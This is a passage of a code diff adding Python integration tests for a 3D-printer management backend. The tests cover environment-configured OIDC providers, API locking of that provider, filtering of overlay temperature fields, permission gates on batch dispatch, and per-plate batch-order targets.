+async def test_a_blank_icon_url_still_creates_the_provider(db_session, monkeypatch):
+    _configure(monkeypatch, BAMBUDDY_OIDC_ICON_URL="")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None, "a blank optional var must not refuse the whole provider"
+    assert provider.icon_url is None
+
+
+# --- account links and collision behavior ------------------------------------
+
+
+@pytest.mark.asyncio
+async def test_renaming_to_match_a_ui_provider_adopts_it_and_releases_the_old_row(db_session, monkeypatch):
+    """New name collides with existing UI provider: env config adopts that row,
+    old env-managed row is released. Identity is the name, so the collision is
+    resolved by matching the new name against the table."""
+    # Start with env-managed "Keycloak"
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    old_id = (await _env_provider(db_session)).id
+
+    # Add a UI provider named "Authentik"
+    ui_provider = OIDCProvider(name="Authentik", issuer_url="https://auth.example.com", client_id="ui-client")
+    ui_provider.client_secret = "ui-secret"
+    db_session.add(ui_provider)
+    await db_session.commit()
+    ui_id = ui_provider.id
+
+    # Rename env provider to "Authentik" — matches the UI provider
+    monkeypatch.setenv("BAMBUDDY_OIDC_NAME", "Authentik")
+    await apply_env_oidc_provider(db_session)
+
+    # The UI provider is adopted and becomes env-managed
+    provider = await _env_provider(db_session)
+    assert provider.id == ui_id, "adopted the UI provider"
+    assert provider.name == "Authentik"
+    assert provider.client_id == "bambuddy"  # updated from env
+    assert provider.is_env_managed is True
+
+    # The old Keycloak row is released
+    old = (await db_session.execute(select(OIDCProvider).where(OIDCProvider.id == old_id))).scalar_one()
+    assert old.name == "Keycloak"
+    assert old.is_env_managed is False
+    assert old.is_enabled is False
+
+
+@pytest.mark.asyncio
+async def test_account_links_survive_a_provider_rename(db_session, monkeypatch):
+    """The provider row is never deleted, only updated: user_oidc_links FK
+    ON DELETE CASCADE must not be triggered by a rename."""
+    from backend.app.models.oidc_provider import UserOIDCLink
+    from backend.app.models.user import User
+
+    # Create a user and link it to the env-managed provider
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    provider_id = (await _env_provider(db_session)).id
+
+    user = User(username="testuser", email="test@example.com")
+    db_session.add(user)
+    await db_session.flush()
+
+    link = UserOIDCLink(
+        user_id=user.id,
+        provider_id=provider_id,
+        provider_user_id="oidc-sub-12345",
+        provider_email="test@idp.example.com",
+    )
+    db_session.add(link)
+    await db_session.commit()
+
+    # Rename the env provider
+    monkeypatch.setenv("BAMBUDDY_OIDC_NAME", "Authentik")
+    await apply_env_oidc_provider(db_session)
+
+    # The link still exists, pointing to the old row (which is now released)
+    result = await db_session.execute(select(UserOIDCLink).where(UserOIDCLink.provider_id == provider_id))
+    links = result.scalars().all()
+    assert len(links) == 1
+    assert links[0].provider_user_id == "oidc-sub-12345"
+
+
+@pytest.mark.asyncio
+async def test_renaming_with_autologin_updates_the_exclusivity_sweep(db_session, monkeypatch):
+    """When renamed env config has autologin=true, the sweep clears autologin
+    from other rows. The old row is released (autologin cleared there too)."""
+    # Setup: env provider "Keycloak" with autologin
+    _configure(monkeypatch, BAMBUDDY_OIDC_AUTOLOGIN="true")
+    await apply_env_oidc_provider(db_session)
+    old_id = (await _env_provider(db_session)).id
+    assert (await _env_provider(db_session)).is_autologin is True
+
+    # Another UI provider also has autologin
+    ui_provider = OIDCProvider(name="UI", issuer_url="https://ui.example.com", client_id="ui")
+    ui_provider.client_secret = "secret"
+    ui_provider.is_autologin = True
+    db_session.add(ui_provider)
+    await db_session.commit()
+
+    # Rename env provider to "Authentik" with autologin=true
+    monkeypatch.setenv("BAMBUDDY_OIDC_NAME", "Authentik")
+    await apply_env_oidc_provider(db_session)
+
+    # New row is the autologin target
+    new_provider = await _env_provider(db_session)
+    assert new_provider.name == "Authentik"
+    assert new_provider.is_autologin is True
+
+    # Old row is released and autologin cleared
+    old = (await db_session.execute(select(OIDCProvider).where(OIDCProvider.id == old_id))).scalar_one()
+    assert old.is_env_managed is False
+    assert old.is_autologin is False
+
+    # UI provider autologin is cleared (only env-managed can be autologin now)
+    await db_session.refresh(ui_provider)
+    assert ui_provider.is_autologin is False
+
+
+@pytest.mark.asyncio
+async def test_group_name_matching_is_case_sensitive(db_session, monkeypatch, caplog):
+    """Group name is resolved by exact match; 'operators' != 'Operators'."""
+    await _group(db_session, "Operators")  # capital O
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="operators")  # lowercase
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)
+
+    # Config is rejected
+    assert await _env_provider(db_session) is None
+    assert "operators" in caplog.text
+    assert "BAMBUDDY_OIDC_DEFAULT_GROUP" in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_group_name_rejection_does_not_log_the_secret(db_session, monkeypatch, caplog):
+    """Group resolution happens before schema validation, so the secret is
+    not yet in scope, but verify it's not leaked by the error path."""
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="NonExistent")
+    secret = os.environ["BAMBUDDY_OIDC_CLIENT_SECRET"]
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)
+
+    # Config is rejected but secret is safe
+    assert await _env_provider(db_session) is None
+    assert secret not in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_restoring_env_config_after_rename_then_unset_finds_the_original_row(db_session, monkeypatch):
+    """Rename Keycloak → Authentik, unset everything, restore Keycloak.
+    Must re-enable the original row, not create a new one."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original_id = (await _env_provider(db_session)).id
+
+    # Rename to Authentik
+    monkeypatch.setenv("BAMBUDDY_OIDC_NAME", "Authentik")
+    await apply_env_oidc_provider(db_session)
+    assert (await _env_provider(db_session)).name == "Authentik"
+
+    # Unset everything
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+    await apply_env_oidc_provider(db_session)
+
+    # Restore the original Keycloak config
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    # Same row, re-enabled
+    provider = await _env_provider(db_session)
+    assert provider.id == original_id
+    assert provider.name == "Keycloak"
+    assert provider.is_enabled is True
+    assert provider.is_env_managed is True

+ 137 - 0
backend/tests/integration/test_oidc_env_lock.py

@@ -0,0 +1,137 @@
+"""The env-managed provider is read-only through the API (#2593).
+
+Startup rewrites this row from BAMBUDDY_OIDC_* on every boot, so a UI edit
+would silently disappear at the next restart -- the operator would see their
+change accepted and then reverted, with nothing explaining why. Refusing the
+write is the honest answer.
+
+Locking it out is safe because BAMBUDDY_LOCAL_LOGIN (#1589) is the documented
+recovery path if the provider itself becomes unusable.
+"""
+
+from __future__ import annotations
+
+import pytest
+from httpx import AsyncClient
+
+from backend.app.models.oidc_provider import OIDCProvider
+from backend.tests.integration.test_mfa_api import _auth_header, _setup_and_login
+
+
+async def _env_managed_provider(db_session) -> int:
+    provider = OIDCProvider(
+        name="Env Keycloak",
+        issuer_url="https://sso.example.com/realms/main",
+        client_id="bambuddy",
+        icon_url="https://sso.example.com/logo.png",
+        is_env_managed=True,
+    )
+    provider.client_secret = "s3cr3t"
+    db_session.add(provider)
+    await db_session.commit()
+    await db_session.refresh(provider)
+    return provider.id
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_put_is_refused(async_client: AsyncClient, db_session):
+    provider_id = await _env_managed_provider(db_session)
+    token = await _setup_and_login(async_client, "envlockput", "envlockput123")
+
+    response = await async_client.put(
+        f"/api/v1/auth/oidc/providers/{provider_id}",
+        json={"name": "hijacked"},
+        headers=_auth_header(token),
+    )
+
+    assert response.status_code == 409
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_delete_is_refused(async_client: AsyncClient, db_session):
+    provider_id = await _env_managed_provider(db_session)
+    token = await _setup_and_login(async_client, "envlockdel", "envlockdel123")
+
+    response = await async_client.delete(
+        f"/api/v1/auth/oidc/providers/{provider_id}",
+        headers=_auth_header(token),
+    )
+
+    assert response.status_code == 409
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_icon_delete_is_refused(async_client: AsyncClient, db_session):
+    """The icon is part of the env config too -- BAMBUDDY_OIDC_ICON_URL."""
+    provider_id = await _env_managed_provider(db_session)
+    token = await _setup_and_login(async_client, "envlockicondel", "envlockicondel123")
+
+    response = await async_client.delete(
+        f"/api/v1/auth/oidc/providers/{provider_id}/icon",
+        headers=_auth_header(token),
+    )
+
+    assert response.status_code == 409
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_icon_refresh_is_refused(async_client: AsyncClient, db_session):
+    provider_id = await _env_managed_provider(db_session)
+    token = await _setup_and_login(async_client, "envlockiconref", "envlockiconref123")
+
+    response = await async_client.post(
+        f"/api/v1/auth/oidc/providers/{provider_id}/icon/refresh",
+        headers=_auth_header(token),
+    )
+
+    assert response.status_code == 409
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_a_ui_provider_is_still_editable(async_client: AsyncClient):
+    """The lock must not leak onto providers the operator created themselves --
+    they coexist with the env one and stay fully editable."""
+    token = await _setup_and_login(async_client, "envlockui", "envlockui123")
+    created = await async_client.post(
+        "/api/v1/auth/oidc/providers",
+        json={
+            "name": "UI provider",
+            "issuer_url": "https://other.example.com",
+            "client_id": "ui",
+            "client_secret": "ui-secret",
+            "scopes": "openid",
+            "is_enabled": True,
+            "auto_create_users": False,
+        },
+        headers=_auth_header(token),
+    )
+    provider_id = created.json()["id"]
+
+    response = await async_client.put(
+        f"/api/v1/auth/oidc/providers/{provider_id}",
+        json={"name": "Renamed"},
+        headers=_auth_header(token),
+    )
+
+    assert response.status_code == 200
+    assert response.json()["name"] == "Renamed"
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+async def test_the_response_says_which_provider_is_env_managed(async_client: AsyncClient, db_session):
+    """The frontend needs this to render the lock; without it the UI would show
+    editable fields whose writes the API then refuses."""
+    await _env_managed_provider(db_session)
+    token = await _setup_and_login(async_client, "envlockflag", "envlockflag123")
+
+    response = await async_client.get("/api/v1/auth/oidc/providers/all", headers=_auth_header(token))
+
+    assert response.status_code == 200
+    providers = response.json()
+    assert any(p["is_env_managed"] for p in providers)

+ 43 - 0
backend/tests/integration/test_oidc_env_startup.py

@@ -0,0 +1,43 @@
+"""The env provider is applied on startup, not merely appliable (#2593).
+
+test_oidc_env_apply.py calls apply_env_oidc_provider() directly, so it stays
+green even if nothing ever calls it -- deleting the lifespan call would leave
+the feature dead with a fully passing suite. These tests pin the call site.
+
+They read the lifespan's source rather than running it: the function is ~460
+lines and starts printer connections, MQTT and schedulers, so executing it
+here would test everything except the one line in question. That makes this a
+wiring check, not a behavioural one -- it proves the call exists and runs
+after migrations, and deliberately proves nothing about what it does. The
+behaviour is covered by test_oidc_env_apply.py.
+"""
+
+from __future__ import annotations
+
+import inspect
+
+from backend.app.main import lifespan
+
+
+def _lifespan_source() -> str:
+    return inspect.getsource(lifespan)
+
+
+def test_lifespan_applies_the_env_oidc_provider():
+    assert "apply_env_oidc_provider(" in _lifespan_source()
+
+
+def test_it_runs_after_the_migrations():
+    """is_env_managed does not exist until run_migrations has added it, so an
+    upsert before init_db() would fail on every existing installation."""
+    source = _lifespan_source()
+    assert source.index("await init_db()") < source.index("apply_env_oidc_provider(")
+
+
+def test_the_apply_call_is_awaited():
+    """apply_env_oidc_provider is a coroutine; calling it without await would
+    return an un-awaited coroutine and silently apply nothing."""
+    source = _lifespan_source()
+    call = source.index("apply_env_oidc_provider(")
+    line_start = source.rindex("\n", 0, call) + 1
+    assert source[line_start:call].strip().endswith("await")

+ 51 - 0
backend/tests/integration/test_overlay_status_api.py

@@ -156,6 +156,7 @@ class TestOverlayFeedPayload:
             "layer_num",
             "total_layers",
             "stg_cur_name",
+            "temperatures",
             "time_format",
         }
 
@@ -171,6 +172,56 @@ class TestOverlayFeedPayload:
         assert entry["connected"] is False
         assert entry["state"] is None
         assert entry["current_print"] is None
+        # Present but empty rather than absent (#1422): the overlay reads the
+        # key unconditionally, and an offline printer simply has no readings.
+        assert entry["temperatures"] == {}
+
+    async def test_temperatures_are_filtered_not_passed_through(
+        self, async_client: AsyncClient, printer_row, monkeypatch
+    ):
+        """#1422 — the overlay can draw nozzle/bed/chamber, so the feed carries
+        them. It sends only the readings it draws: `state.temperatures` is also
+        the MQTT client's working memory and holds private bookkeeping and
+        derived heater flags that an overlay token has no business seeing.
+        """
+        from backend.app.services import printer_manager as pm
+
+        class _FakeState:
+            connected = True
+            state = "RUNNING"
+            current_print = "bracket.3mf"
+            gcode_file = "/data/Metadata/plate_1.gcode"
+            progress = 42.0
+            remaining_time = 30
+            layer_num = 10
+            total_layers = 100
+            stg_cur = -1
+            temperatures = {
+                "nozzle": 219.7,
+                "nozzle_target": 220.0,
+                "bed": 60.0,
+                "bed_target": 60.0,
+                "chamber": 38.0,
+                "nozzle_heating": True,
+                "_nozzle_target_set_time": 1754300000.0,
+            }
+
+        monkeypatch.setattr(pm.printer_manager, "get_status", lambda _pid: _FakeState())
+
+        jwt = await _setup_admin(async_client, suffix="_temps")
+        overlay_token = await _mint(async_client, jwt, scope="overlay")
+
+        response = await async_client.get(f"/api/v1/printers/{printer_row.id}/overlay-status?token={overlay_token}")
+        temps = response.json()["temperatures"]
+
+        assert temps["nozzle"] == 219.7
+        assert temps["nozzle_target"] == 220.0
+        assert temps["bed"] == 60.0
+        # The fixture printer is a P1S — no real chamber sensor, so the
+        # meaningless reading is dropped rather than drawn on a live stream.
+        assert "chamber" not in temps
+        assert "nozzle_heating" not in temps
+        assert "_nozzle_target_set_time" not in temps
 
     async def test_unknown_printer_is_404_not_401(self, async_client: AsyncClient):
         """A valid token for a printer id that doesn't exist is a 404 — the token

+ 117 - 0
backend/tests/integration/test_ownership_permissions.py

@@ -398,6 +398,123 @@ class TestArchiveOwnershipPermissions(TestOwnershipPermissionsSetup):
         assert response.status_code == 403
         assert "reprint" in response.json()["detail"].lower()
 
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_batch_dispatch_allowed_for_own_archive_with_reprint_own(
+        self, async_client: AsyncClient, auth_setup, archive_factory, printer_factory, db_session
+    ):
+        """The dispatch gate must not block the ordinary self-service case (#342)."""
+        headers = {"Authorization": f"Bearer {auth_setup['operator_token']}"}
+        printer = await printer_factory()
+        archive = await archive_factory(printer.id, created_by_id=auth_setup["operator_user"]["id"])
+
+        order = await async_client.post(
+            "/api/v1/queue/batches",
+            headers=headers,
+            json={
+                "name": "Own order",
+                "archive_id": archive.id,
+                "plates": [{"plate_id": 1, "quantity_target": 2}],
+            },
+        )
+        assert order.status_code == 200
+        batch_id = order.json()["id"]
+        assert (
+            await async_client.post(
+                "/api/v1/queue/",
+                headers=headers,
+                json={
+                    "printer_id": printer.id,
+                    "archive_id": archive.id,
+                    "batch_id": batch_id,
+                    "plate_id": 1,
+                },
+            )
+        ).status_code == 200
+
+        response = await async_client.post(f"/api/v1/queue/batches/{batch_id}/dispatch", headers=headers, json={})
+        assert response.status_code == 200
+        assert response.json()["remaining_count"] == 0
+        assert response.json()["pending_count"] == 2
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_batch_dispatch_honours_the_reprint_gate(
+        self, async_client: AsyncClient, auth_setup, archive_factory, printer_factory, db_session
+    ):
+        """Dispatching a batch order must not be a weaker door than POST /queue/ (#342).
+
+        Dispatch clones existing queue items, so without the same source-file
+        gate a caller holding queue:create and queue:update_all — but
+        explicitly denied archives:reprint_* — could start prints of an
+        archive that POST /queue/ would have refused them.
+        """
+        admin_headers = {"Authorization": f"Bearer {auth_setup['admin_token']}"}
+        group_resp = await async_client.post(
+            "/api/v1/groups/",
+            headers=admin_headers,
+            json={
+                "name": "BatchDispatchNoReprint",
+                "description": "Test group: can manage the queue but not reprint archives",
+                "permissions": [
+                    "queue:create",
+                    "queue:read_all",
+                    "queue:update_all",
+                    "archives:read_all",
+                    "printers:read",
+                ],
+            },
+        )
+        assert group_resp.status_code in (200, 201)
+        await async_client.post(
+            "/api/v1/users/",
+            headers=admin_headers,
+            json={
+                "username": "batch_noreprint_user",
+                "password": "BatchNoreprint1!",
+                "group_ids": [group_resp.json()["id"]],
+            },
+        )
+        login = await async_client.post(
+            "/api/v1/auth/login",
+            json={"username": "batch_noreprint_user", "password": "BatchNoreprint1!"},
+        )
+        token = login.json()["access_token"]
+
+        # Admin builds an order with one dispatched run and two still owed.
+        printer = await printer_factory()
+        archive = await archive_factory(printer.id, created_by_id=auth_setup["admin_user"]["id"])
+        order = await async_client.post(
+            "/api/v1/queue/batches",
+            headers=admin_headers,
+            json={
+                "name": "Gated order",
+                "archive_id": archive.id,
+                "plates": [{"plate_id": 1, "quantity_target": 3}],
+            },
+        )
+        assert order.status_code == 200
+        batch_id = order.json()["id"]
+        seeded = await async_client.post(
+            "/api/v1/queue/",
+            headers=admin_headers,
+            json={"printer_id": printer.id, "archive_id": archive.id, "batch_id": batch_id, "plate_id": 1},
+        )
+        assert seeded.status_code == 200
+
+        response = await async_client.post(
+            f"/api/v1/queue/batches/{batch_id}/dispatch",
+            headers={"Authorization": f"Bearer {token}"},
+            json={},
+        )
+
+        assert response.status_code == 403
+        assert "reprint" in response.json()["detail"].lower()
+
+        # And nothing was queued behind the refusal.
+        listing = await async_client.get(f"/api/v1/queue/batches/{batch_id}", headers=admin_headers)
+        assert listing.json()["pending_count"] == 1
+
     @pytest.mark.asyncio
     @pytest.mark.integration
     async def test_queue_route_ownerless_archive_requires_reprint_all(

+ 833 - 0
backend/tests/integration/test_print_batch_orders.py

@@ -0,0 +1,833 @@
+"""Integration tests for batch orders — per-plate targets and staged dispatch (#342).
+
+The behaviour these lock down that the pre-#342 batch could not express: a
+failed or cancelled run does not satisfy a target, so the order keeps saying it
+owes a print until one actually completes.
+"""
+
+from datetime import datetime
+
+import pytest
+from httpx import AsyncClient
+
+
+@pytest.fixture
+async def printer_factory(db_session):
+    _counter = [0]
+
+    async def _create_printer(**kwargs):
+        from backend.app.models.printer import Printer
+
+        _counter[0] += 1
+        counter = _counter[0]
+        defaults = {
+            "name": f"Batch Printer {counter}",
+            "ip_address": f"192.168.9.{100 + counter}",
+            "serial_number": f"BATCHSERIAL{counter:04d}",
+            "access_code": "12345678",
+            "model": "X1C",
+        }
+        defaults.update(kwargs)
+        printer = Printer(**defaults)
+        db_session.add(printer)
+        await db_session.commit()
+        await db_session.refresh(printer)
+        return printer
+
+    return _create_printer
+
+
+@pytest.fixture
+async def archive_factory(db_session):
+    _counter = [0]
+
+    async def _create_archive(**kwargs):
+        from backend.app.models.archive import PrintArchive
+
+        _counter[0] += 1
+        counter = _counter[0]
+        defaults = {
+            "filename": f"batch_order_{counter}.3mf",
+            "print_name": f"Batch Order {counter}",
+            "file_path": f"/tmp/batch_order_{counter}.3mf",
+            "file_size": 2048,
+            "content_hash": f"batchhash{counter:08d}",
+            "status": "completed",
+        }
+        defaults.update(kwargs)
+        archive = PrintArchive(**defaults)
+        db_session.add(archive)
+        await db_session.commit()
+        await db_session.refresh(archive)
+        return archive
+
+    return _create_archive
+
+
+async def _create_order(async_client: AsyncClient, archive_id: int, plates: list[dict], **extra):
+    payload = {"name": "Test Order", "archive_id": archive_id, "plates": plates}
+    payload.update(extra)
+    response = await async_client.post("/api/v1/queue/batches", json=payload)
+    assert response.status_code == 200, response.text
+    return response.json()
+
+
+async def _queue_item(async_client: AsyncClient, printer_id: int, archive_id: int, batch_id: int, **extra):
+    payload = {"printer_id": printer_id, "archive_id": archive_id, "batch_id": batch_id}
+    payload.update(extra)
+    response = await async_client.post("/api/v1/queue/", json=payload)
+    assert response.status_code == 200, response.text
+    return response.json()
+
+
+async def _set_status(db_session, item_id: int, status: str):
+    from backend.app.models.print_queue import PrintQueueItem
+
+    item = await db_session.get(PrintQueueItem, item_id)
+    item.status = status
+    await db_session.commit()
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchOrderTargets:
+    async def test_order_reports_per_plate_targets(self, async_client, archive_factory):
+        """The reporter's own example: plate 1 once, plate 2 twice, plate 3 three times."""
+        archive = await archive_factory()
+        order = await _create_order(
+            async_client,
+            archive.id,
+            [
+                {"plate_id": 1, "plate_name": "Base", "quantity_target": 1, "sort_order": 0},
+                {"plate_id": 2, "quantity_target": 2, "sort_order": 1},
+                {"plate_id": 3, "quantity_target": 3, "sort_order": 2},
+            ],
+        )
+
+        assert order["has_targets"] is True
+        assert order["target_count"] == 6
+        assert order["remaining_count"] == 6
+        assert [p["plate_id"] for p in order["plates"]] == [1, 2, 3]
+        assert [p["quantity_target"] for p in order["plates"]] == [1, 2, 3]
+        assert order["plates"][0]["plate_name"] == "Base"
+        # Nothing dispatched yet, so nothing has been consumed.
+        assert all(p["dispatched"] == 0 for p in order["plates"])
+
+    async def test_zero_target_plate_is_allowed(self, async_client, archive_factory):
+        """ "Plate 3 not required" keeps its row so it can be raised later."""
+        archive = await archive_factory()
+        order = await _create_order(
+            async_client,
+            archive.id,
+            [{"plate_id": 1, "quantity_target": 2}, {"plate_id": 2, "quantity_target": 0}],
+        )
+        assert order["target_count"] == 2
+        plate_two = next(p for p in order["plates"] if p["plate_id"] == 2)
+        assert plate_two["quantity_target"] == 0
+        assert plate_two["remaining"] == 0
+
+    async def test_order_requesting_nothing_is_rejected(self, async_client, archive_factory):
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/batches",
+            json={
+                "name": "Empty",
+                "archive_id": archive.id,
+                "plates": [{"plate_id": 1, "quantity_target": 0}],
+            },
+        )
+        assert response.status_code == 400
+        assert "at least one print" in response.json()["detail"]
+
+    async def test_duplicate_plate_is_rejected(self, async_client, archive_factory):
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/batches",
+            json={
+                "name": "Dupes",
+                "archive_id": archive.id,
+                "plates": [{"plate_id": 1, "quantity_target": 1}, {"plate_id": 1, "quantity_target": 2}],
+            },
+        )
+        assert response.status_code == 400
+        assert "Duplicate plate" in response.json()["detail"]
+
+    async def test_duplicate_whole_file_plate_is_rejected(self, async_client, archive_factory):
+        """NULL plate_id slips past the DB unique constraint, so the route must catch it."""
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/batches",
+            json={
+                "name": "Dupes",
+                "archive_id": archive.id,
+                "plates": [{"quantity_target": 1}, {"quantity_target": 2}],
+            },
+        )
+        assert response.status_code == 400
+        assert "whole file" in response.json()["detail"]
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchOrderProgress:
+    async def test_failed_run_leaves_the_work_owed(self, async_client, printer_factory, archive_factory, db_session):
+        """The whole point of storing targets: a burned print is still owed."""
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 2}])
+
+        first = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        second = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+
+        await _set_status(db_session, first["id"], "completed")
+        await _set_status(db_session, second["id"], "failed")
+
+        response = await async_client.get(f"/api/v1/queue/batches/{order['id']}")
+        result = response.json()
+        assert result["completed_count"] == 1
+        assert result["failed_count"] == 1
+        # One completed, one burned — the order still owes a print.
+        assert result["remaining_count"] == 1
+        assert result["status"] == "active"
+
+    async def test_cancelled_run_also_leaves_the_work_owed(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 1}])
+        item = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, item["id"], "cancelled")
+
+        result = (await async_client.get(f"/api/v1/queue/batches/{order['id']}")).json()
+        assert result["cancelled_count"] == 1
+        assert result["remaining_count"] == 1
+
+    async def test_pending_and_printing_consume_the_target(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        """In-flight work must not be re-dispatched — that would double-print."""
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 2}])
+        first = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, first["id"], "printing")
+
+        result = (await async_client.get(f"/api/v1/queue/batches/{order['id']}")).json()
+        assert result["printing_count"] == 1
+        assert result["pending_count"] == 1
+        assert result["remaining_count"] == 0
+
+    async def test_legacy_batch_without_targets_owes_nothing(self, async_client, printer_factory, archive_factory):
+        """Batches created before #342 keep working and report has_targets=false."""
+        printer = await printer_factory()
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": printer.id, "archive_id": archive.id, "quantity": 3}
+        )
+        batch_id = response.json()["batch_id"]
+
+        result = (await async_client.get(f"/api/v1/queue/batches/{batch_id}")).json()
+        assert result["has_targets"] is False
+        assert result["pending_count"] == 3
+        assert result["remaining_count"] == 0
+        assert result["target_count"] == 3
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchOrderCompletion:
+    async def test_status_flips_to_completed_when_targets_met(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 1}])
+        item = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, item["id"], "completed")
+
+        # Reading the order re-evaluates it; the PATCH path and the print
+        # completion hook do the same.
+        patched = await async_client.patch(f"/api/v1/queue/batches/{order['id']}", json={})
+        assert patched.status_code == 200
+        assert patched.json()["status"] == "completed"
+        assert patched.json()["completed_at"] is not None
+
+    async def test_raising_a_target_reopens_a_completed_order(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 1}])
+        item = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, item["id"], "completed")
+        assert (await async_client.patch(f"/api/v1/queue/batches/{order['id']}", json={})).json()[
+            "status"
+        ] == "completed"
+
+        reopened = await async_client.patch(
+            f"/api/v1/queue/batches/{order['id']}",
+            json={"plates": [{"plate_id": 1, "quantity_target": 3}]},
+        )
+        assert reopened.status_code == 200
+        assert reopened.json()["status"] == "active"
+        assert reopened.json()["completed_at"] is None
+        assert reopened.json()["remaining_count"] == 2
+
+    async def test_legacy_batch_with_everything_cancelled_reads_as_cancelled(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        """Cancelling every item of a grouping finishes it, but produces nothing.
+
+        "Completed" would be a lie — its derived target is zero — and leaving it
+        active would strand it on the Batches tab forever. Cancelled is what it
+        is, and is what the batch-level Cancel action would have set.
+        """
+        printer = await printer_factory()
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": printer.id, "archive_id": archive.id, "quantity": 2}
+        )
+        batch_id = response.json()["batch_id"]
+
+        from sqlalchemy import select
+
+        from backend.app.models.print_queue import PrintQueueItem
+
+        items = (
+            (await db_session.execute(select(PrintQueueItem).where(PrintQueueItem.batch_id == batch_id)))
+            .scalars()
+            .all()
+        )
+        for item in items:
+            item.status = "cancelled"
+        await db_session.commit()
+
+        patched = await async_client.patch(f"/api/v1/queue/batches/{batch_id}", json={})
+        assert patched.status_code == 200
+        assert patched.json()["status"] == "cancelled"
+        assert patched.json()["completed_at"] is None
+
+    async def test_an_order_with_every_run_cancelled_still_owes_them(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        """The grouping rule must not leak into orders.
+
+        An order states its intent independently of its runs, so cancelling
+        them all leaves it owing the work and offering to re-queue.
+        """
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 2}])
+        first = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        second = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await _set_status(db_session, first["id"], "cancelled")
+        await _set_status(db_session, second["id"], "cancelled")
+
+        patched = (await async_client.patch(f"/api/v1/queue/batches/{order['id']}", json={})).json()
+        assert patched["status"] == "active"
+        assert patched["remaining_count"] == 2
+
+    async def test_cancelled_order_is_never_resurrected(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        printer = await printer_factory()
+        archive = await archive_factory()
+        order = await _create_order(async_client, archive.id, [{"plate_id": 1, "quantity_target": 1}])
+        item = await _queue_item(async_client, printer.id, archive.id, order["id"], plate_id=1)
+        await async_client.delete(f"/api/v1/queue/batches/{order['id']}")
+        await _set_status(db_session, item["id"], "completed")
+
+        result = (await async_client.get(f"/api/v1/queue/batches/{order['id']}")).json()
+        assert result["status"] == "cancelled"
+
+
+@pytest.mark.asyncio
+@pytest.mark.integration
+class TestBatchBacklog:
+    """The Batches tab must not open on months of stale rows.
+
+    `completed` only became a reachable status with #342, so every batch
+    created since the feature shipped is still `active` however long ago its
+    last run finished.
+    """
+
+    async def test_startup_backfill_closes_finished_batches(
+        self, async_client, printer_factory, archive_factory, db_session
+    ):
+        from backend.app.services.print_batch import backfill_batch_statuses
+
+        printer = await printer_factory()
+        archive = await archive_factory()
+        response = await async_client.post(
+            "/api/v1/queue/", json={"printer_id": printer.id, "archive_id": archive.id, "quantity": 2}
+        )
+        batch_id = response.json()["batch_id"]
+
+        from sqlalchemy import select
+
+        from backend.app.models.print_queue import PrintQueueItem
+
+        items = (
+            (await db_session.execute(select(PrintQueueItem).where(PrintQueueItem.batch_id == batch_id)))
+            .scalars()
+            .all()
+        )
+        for item in items:
+            item.status = "completed"
+        await db_session.commit()
+
